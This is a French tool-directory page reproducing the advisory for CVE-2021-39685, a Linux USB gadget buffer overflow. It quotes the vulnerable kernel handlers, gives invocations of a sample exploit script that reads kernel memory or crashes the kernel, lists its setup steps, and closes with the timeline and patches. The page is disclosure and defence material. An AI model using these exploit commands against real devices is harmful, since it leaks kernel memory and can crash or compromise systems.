Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
inspector-gadget — CVE-2021-39685 Description et exemple d'exploit pour la vulnérabilité de débordement du Linux USB Gadget | Kitploit
Outils/GitHubGitHub/szymonh/inspector-gadget
Sécurité des Systèmes EmbarquésAnalyse des VulnérabilitésExploitationFuzzingSécurité MatérielleExploitation de Binaires
GitHubszymonh/inspector-gadget

inspector-gadget

CVE-2021-39685 Description et exemple d'exploit pour la vulnérabilité de débordement du Linux USB Gadget

Voir le dépôt
141il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

inspector-gadget

root@kitploit:~
    Go Go Gadget Exploit!
     _..--"\  `|`""--.._
  .-'       \  |        `'-.
 /           \_|___...----'`\
|__,,..--""``(_)--..__      |
'\     _.--'`.I._     ''--..'
  `''"`,#JGS/_|_\###,---'`
    ,#'  _.:`___`:-._ '#,
   #'  ,~'-;(oIo);-'~, '#
   #   `~-(  |    )=~`  #
   #       | |_  |      #
   #       ; ._. ;      #
   #  _..-;|\ - /|;-._  #
   #-'   /_ \\_// _\  '-#
 /`#    ; /__\-'__\;    #`\
;  #\.--|  |O  O   |'-./#  ;
|__#/   \ _;O__O___/   \#__|
 | #\    [I_[_]__I]    /# |
 \_(#   /  |O  O   \   #)_/
       /   |        \
      /    |         \
     /    /\          \
    /     | `\         ;
   ;      \   '.       |
    \-._.__\     \_..-'/
     '.\  \-.._.-/  /'`
        \_.\    /._/
         \_.;  ;._/
       .-'-./  \.-'-.
      (___.'    '.___)

Résumé

Un attaquant peut accéder à la mémoire du noyau en contournant les limites valides des tampons en exploitant l'implémentation des gestionnaires de requêtes de contrôle dans les gadgets USB suivants : rndis, hid, uac1, uac1_legacy et uac2. Le traitement des requêtes de transfert de contrôle malveillantes avec une taille wLength anormalement grande ne vérifie pas que cette valeur ne dépasse pas la taille du tampon. De ce fait, il est possible de lire et/ou d'écrire (selon le cas) jusqu'à 65 ko de mémoire du noyau.

Description

Certains chemins d'exécution des gestionnaires de transfert de contrôle USB des gadgets tels que rndis, hid, uac1, uac1_legacy et uac2 ne gèrent pas correctement la longueur de la requête (wLength). Cette valeur doit être limitée à la taille du tampon pour éviter les vulnérabilités de débordement de tampon lors de la phase de transfert de données.

Le tampon utilisé par le point d'extrémité 0 est alloué dans composite.c avec une taille de USB_COMP_EP0_BUFSIZ (4096) octets, donc définir wLength à une valeur supérieure à USB_COMP_EP0_BUFSIZ entraînera un débordement de tampon.

Par exemple, dans le cas de f_uac1.c, l'exécution de la fonction f_audio_setup permet d'effectuer des lectures et des écritures au-delà des limites du tampon. Ni f_audio_setup ni aucune des fonctions appelées - audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in - ne limitent la valeur de retour à une taille inférieure à celle du tampon. Par conséquent, la phase de transfert de données utilise req->length = value = ctrl->wLength qui est contrôlé par l'attaquant. Cela permet de lire ou d'écrire jusqu'à 65 ko de mémoire du noyau selon la direction du transfert de contrôle.

root@kitploit:~
    static int
    f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);

            /* composite driver infrastructure handles everything; interface
             * activation uses set_alt().
             */
            switch (ctrl->bRequestType) {
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_set_endpoint_req(f, ctrl);
                    break;

            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_get_endpoint_req(f, ctrl);
                    break;
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    if (ctrl->bRequest == UAC_SET_CUR)
                            value = out_rq_cur(f, ctrl);
                    break;
            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    value = ac_rq_in(f, ctrl);
                    break;
            default:
                    ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
            }

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = 0;
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);

                    if (value < 0)
                            ERROR(cdev, "audio response on err %d\n", value);
            }

            /* device either stalls (value < 0) or reports success */
            return value;
    }

L'exécution de l'exploit de lecture d'exemple permet de vider jusqu'à 65 ko de mémoire.

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
    65535
root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings

    nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
    tem.slice/system-getty.slice/[email protected]
    !rE*
    ?& .4!
    0usb_composite_setup_continue
    composite_setup
    usb_gadget_get_string
    usb_otg_descriptor_init
    usb_otg_descriptor_alloc
    usb_free_all_descriptors
    usb_assign_descriptors
    usb_copy_descriptors

    usb_gadget_config_buf

D'autre part, l'exécution de l'exploit d'écrasement permet d'écrire des données arbitraires au-delà des limites attendues du tampon.

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write

    Message from syslogd@zero at Dec  6 19:56:01 ...
     kernel:[  103.850206] Internal error: Oops: 5 [#1] ARM

De même, dans le cas du gadget rndis, la fonction rndis_setup peut être exploitée pour écrire au-delà des limites du tampon en utilisant une requête de transfert de contrôle avec la direction out, le type class, le récepteur interface et bRequest défini sur USB_CDC_SEND_ENCAPSULATED_COMMAND.

root@kitploit:~
    static int
    rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct f_rndis          *rndis = func_to_rndis(f);
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);
            /* composite driver infrastructure handles everything except
             * CDC class messages; interface activation uses set_alt().
             */
            switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
            /* RNDIS uses the CDC command encapsulation mechanism to implement
             * an RPC scheme, with much getting/setting of attributes by OID.
             */
            case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
                            | USB_CDC_SEND_ENCAPSULATED_COMMAND:
                    if (w_value || w_index != rndis->ctrl_id)
                            goto invalid;
                    /* read the request; process it later */
                    value = w_length;
                    req->complete = rndis_command_complete;
                    req->context = rndis;
                    /* later, rndis_response_available() sends a notification */
                    break;

     ...

     ...

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = (value < w_length);
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
                    if (value < 0)
                            ERROR(cdev, "rndis response on err %d\n", value);
            }
            /* device either stalls (value < 0) or reports success */
            return value;

    }

Chemins d'exécution vulnérables :

  • f_rndis.c
    • rndis_setup
  • f_uac1.c
    • out_rq_cur
    • ac_rq_in
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac1_legacy.c
    • audio_set_intf_req
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac2.c
    • out_rq_cur
  • f_hid.c
    • hid_gsetup pour le cas HID_REQ_SET_REPORT

Impact

Les dispositifs implémentant les classes de gadgets USB affectées (rndis, hid, uac1, uac1_legacy, uac2) peuvent être affectés par des vulnérabilités de débordement de tampon entraînant une divulgation d'informations, un déni de service ou l'exécution de code arbitraire dans le contexte du noyau.

Résolution attendue

Limiter la taille de la phase de transfert à min(len, buffer_size) dans les gestionnaires de requêtes de contrôle concernés afin de garantir qu'aucun débordement de tampon ne se produise.

Dates clés

  • 07.12.2021 - signalement du problème à l'équipe de sécurité du noyau
  • 09.12.2021 - correctif provisoire fourni par l'équipe de sécurité du noyau
  • 12.12.2021 - correctif fusionné dans l'arbre principal du noyau Linux (public)

CVE

CVE-2021-39685

Exploit

L'émission de requêtes de transfert de contrôle avec wLength supérieur à la valeur standard de 4096 octets nécessite que l'hôte utilise une version personnalisée de libusb avec MAX_CTRL_BUFFER_LENGTH augmentée à 0xffff. Cette valeur peut être modifiée dans libusb/os/linux_usbfs.h avant la compilation.

Le script gadget.py nécessite pyusb. Vous pouvez installer ce paquet via pip comme ci-dessous.

python3 -m pip install pyusb

L'aide peut être consultée avec les paramètres -h ou --help.

root@kitploit:~
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
                 [-f {rndis,uac1,uac1_legacy,uac2,hid}]

Sample exploit for RNDIS gadget class

optional arguments:
  -h, --help            show this help message and exit
  -v VID, --vid VID     vendor id
  -p PID, --pid PID     product id
  -l LENGTH, --length LENGTH
                        lenght of data to write
  -d {read,write}, --direction {read,write}
                        direction of operation from host perspective
  -f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}

Exemples d'invocations :

root@kitploit:~
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis

Correctifs

  • USB: gadget: detect too-big endpoint 0 requests
  • USB: gadget: bRequestType is a bitfield, not a enum

Remarques finales

Veuillez mettre à jour votre noyau vers la dernière version stable.

Télécharger l’outil